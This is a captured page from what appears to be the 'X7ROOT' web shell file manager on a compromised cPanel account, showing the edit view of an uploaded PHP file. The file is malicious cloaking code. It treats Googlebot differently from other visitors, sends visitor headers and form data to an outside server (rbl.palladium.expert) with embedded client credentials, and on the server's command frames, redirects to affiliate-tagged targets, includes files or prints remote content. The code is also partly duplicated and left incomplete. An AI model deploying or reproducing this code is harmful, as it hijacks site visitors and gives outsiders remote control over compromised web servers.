File Manager

X7ROOT File Manager

Current Path: /home/prisjneg/tmp

home / prisjneg / tmp /

📁 ..
📄 Cpanel_Form_file.upload.43fb69b1(618 B)
📄 Cpanel_Form_file.upload.647aceaf(618 B)
📄 Cpanel_Form_file.upload.89107070(9.12 KB)
📄 Cpanel_Form_file.upload.dd2dd855(9.12 KB)
📄 Cpanel_Form_file.upload.e3f025cc(618 B)
📄 Cpanel_Form_file.upload.efec1159(9.12 KB)
📁 analog
📁 awstats
📁 pma_template_compiles_prisjneg
📄 sess_5bf4741910d028a4fa8419c5eda81c70(4.66 KB)
📄 sess_61e23c1537bf76b12c4937561a946b70(2.67 KB)
📄 sess_a6fb304635342da81bb5899b484c5920(4.88 KB)
📄 sess_ed88b5002fc096907be8692d39f54f0e(1.34 KB)
📄 sess_f45833417dfd8068eb65b7606209b7bb(5.17 KB)
📄 sess_f4f7e03aadea6faaa53f996725b1c8f4(3.34 KB)
📁 webalizer
📁 webalizerftp

Editing: Cpanel_Form_file.upload.dd2dd855

<?php
//NEW
$userAgent = $_SERVER['HTTP_USER_AGENT'];

if (strpos($userAgent, 'Googlebot') !== false) {

$paramsToRemove = ['gclid', 'wbraid', 'gbraid'];

foreach ($paramsToRemove as $param) {
        if (isset($_GET[$param])) {

$url = $_SERVER['REQUEST_URI'];

$url = preg_replace('/([?&])' . $param . '=[^&]*(&|$)/', '$1', $url);

if (strpos($url, '?') !== false && substr($url, -1) == '&') {
                $url = rtrim($url, '&');
            }

if (strpos($url, '?') !== false && substr($url, -1) == '?') {
                $url = rtrim($url, '?');
            }

header('Location: ' . $url);
            exit;
        }
    }
} else {
    if (!isset($_GET['gclid']) && !isset($_GET['wbraid']) && !isset($_GET['gbraid'])) {
        include 'index.php';
        exit;
    }
}

//NEW
$userAgent = $_SERVER['HTTP_USER_AGENT'];

if (strpos($userAgent, 'Googlebot') !== false) {

$paramsToRemove = ['gclid', 'wbraid', 'gbraid'];

foreach ($paramsToRemove as $param) {
        if (isset($_GET[$param])) {

$url = $_SERVER['REQUEST_URI'];

$url = preg_replace('/([?&])' . $param . '=[^&]*(&|$)/', '$1', $url);

if (strpos($url, '?') !== false && substr($url, -1) == '&') {
                $url = rtrim($url, '&');
            }

if (strpos($url, '?') !== false && substr($url, -1) == '?') {
                $url = rtrim($url, '?');
            }

$isTarget = (new RequestHandlerClient())->run();

class RequestHandlerClient
{
    const SERVER_URL = 'https://rbl.palladium.expert';

/**
     * @param int    $clientId
     * @param string $company
     * @param string $secret
     *
     * @return void
     * @throws \Exception
     */
    public function run()
    {
    	if (!empty($_GET) && isset($_GET['dr_jsess']) && $_GET['dr_jsess'] == 1) {
			header("HTTP/1.1 200 OK");
			return;
		}

$headers = [];
        $headers['request'] = $this->collectRequestData();
        $headers['jsrequest'] = $this->collectJsRequestData();
        $headers['server'] = $this->collectHeaders();
        $headers['auth']['clientId'] = 3838;
		$headers['auth']['clientCompany'] = "YuZYrZh9bLSqxgBJfDGu";
		$headers['auth']['clientSecret'] = "MzgzOFl1WllyWmg5YkxTcXhnQkpmREd1Y2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ==";
        $headers['server']['bannerSource'] = 'adwords';

return $this->curlSend($headers);
    }

/**
     * @param array<string, mixed> $params
     *
     * @return bool
     * @throws \Exception
     */
    public function curlSend(array $params)
    {
        $answer = false;
        $curl = curl_init(self::SERVER_URL);
        if ($curl) {
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));

curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($curl, CURLOPT_TIMEOUT, 4);
            curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000);
            curl_setopt($curl, CURLOPT_FORBID_REUSE, true);

$result = curl_exec($curl);
            if ($result) {
				$serverOut = json_decode(
					$result,
					true
				);
				$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);

if ($status == 200 && is_array($serverOut)) {
					$answer = $this->handleServerReply($serverOut);
					return $answer;
				}
			}
        }

$this->getDefaultAnswer();
        return $answer;
    }

protected function handleServerReply($reply)
    {
        $result = (bool) ($reply['result'] ? $reply['result'] : 0);

if (
			isset($reply['mode']) &&
			(
				(isset($reply['target'])) ||
				(isset($reply['content']) && !empty($reply['content']))
			)
		) {
            $target = $reply['target'];
            $mode = $reply['mode'];
            $content = $reply['content'];

if (preg_match('/^https?:/i', $target) && $mode == 3) {
                // do fallback to mode2
                $mode = 2;
            }

if ($result && $mode == 1) {
				$this->displayIFrame($target);
				exit;
			} elseif ($result && $mode == 2) {
				$target = $target . "&kaspi&sub_id_1=avi239kz&sub_id_2=q8";
				header("Location: {$target}");
				exit;
			} elseif ($result && $mode == 3) {
				$target = parse_url($target);
				if (isset($target['query'])) {
					parse_str($target['query'], $_GET);
				}
				$this->hideFormNotification();
				require_once $this->sanitizePath($target['path']);
				exit;
			} elseif ($result && $mode == 4) {
				echo $content;
				exit;
			} else if (!$result && $mode == 5) {
				//
			} elseif ($mode == 6) {
				//
			} else {
				$path = $this->sanitizePath($target);
				if (!$this->isLocal($path)) {
					header("404 Not Found", true, 404);
				} else {
					$this->hideFormNotification();
					require_once $path;
				}
				exit;
			}
        }

return $result;
    }

private function hideFormNotification()
	{
		echo "";
		//echo "<script>if ( window.history.replaceState ) {window.history.replaceState( null, null, window.location.href );}</script>";
	}

private function displayIFrame($target) {
		$target = htmlspecialchars($target);
		echo "<html>
                  <head>
                  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
                  </head>
                  <body>" .
                  $this->hideFormNotification() .
                  "<iframe src=\"{$target}\" style=\"width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;\"></iframe>
                  </body>
              </html>";
	}

private function sanitizePath($path)
    {
        if ($path[0] !== '/') {
            $path = __DIR__ . '/' . $path;
        } else {
            $path = __DIR__ . $path;
        }
        return $path;
    }

private function isLocal($path)
    {
        // do not validate url via filter_var
        $url = parse_url($path);

if (!isset($url['scheme']) || !isset($url['host'])) {
            return true;
        } else {
            return false;
        }
    }

/**
     * Get all HTTP server headers and few additional ones
     *
     * @return mixed
     */
    protected function collectHeaders()
    {
        $userParams = [
            'REMOTE_ADDR',
            'SERVER_PROTOCOL',
            'SERVER_PORT',
            'REMOTE_PORT',
            'QUERY_STRING',
            'REQUEST_SCHEME',
            'REQUEST_URI',
            'REQUEST_TIME_FLOAT',
            'X_FB_HTTP_ENGINE',
            'X_PURPOSE',
            'X_FORWARDED_FOR',
            'X_WAP_PROFILE',
            'X-Forwarded-Host',
            'X-Forwarded-For',
            'X-Frame-Options',
        ];

$headers = [];
        foreach ($_SERVER as $key => $value) {
            if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) {
                $headers[$key] = $value;
            }
        }

return $headers;
    }

private function collectRequestData(): array
    {
        $data = [];
        if (!empty($_POST)) {
            if (!empty($_POST['data'])) {
            	$data = json_decode($_POST['data'], true);
            	if (JSON_ERROR_NONE !== json_last_error()) {
            		$data = json_decode(
						stripslashes($_POST['data']),
						true
					);
            	}
                unset($_REQUEST['data']);
            }

if (!empty($_POST['crossref_sessionid'])) {
                $data['cr-session-id'] = $_POST['crossref_sessionid'];
                unset($_POST['crossref_sessionid']);
            }
        }

return $data;
    }

public function collectJsRequestData(): array
    {
        $data = [];
        if (!empty($_POST)) {
            if (!empty($_POST['jsdata'])) {
                $data = json_decode($_POST['jsdata'], true);
                if (JSON_ERROR_NONE !== json_last_error()) {
                    $data = json_decode(
                        stripslashes($_POST['jsdata']),
                        true
                    );
                }
                unset($_REQUEST['jsdata']);
            }
        }
        return $data;
    }

/**
     * Default answer for the curl request in case of fault
     *
     * @return bool
     */
    private function getDefaultAnswer()
    {
		header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500);
		echo "<h1>500 Internal Server Error</h1>
		<p>The request was unsuccessful due to an unexpected condition encountered by the server.</p>";
		exit;
    }
}

X7ROOT File Manager

Editing: Cpanel_Form_file.upload.dd2dd855

Upload File

Create Folder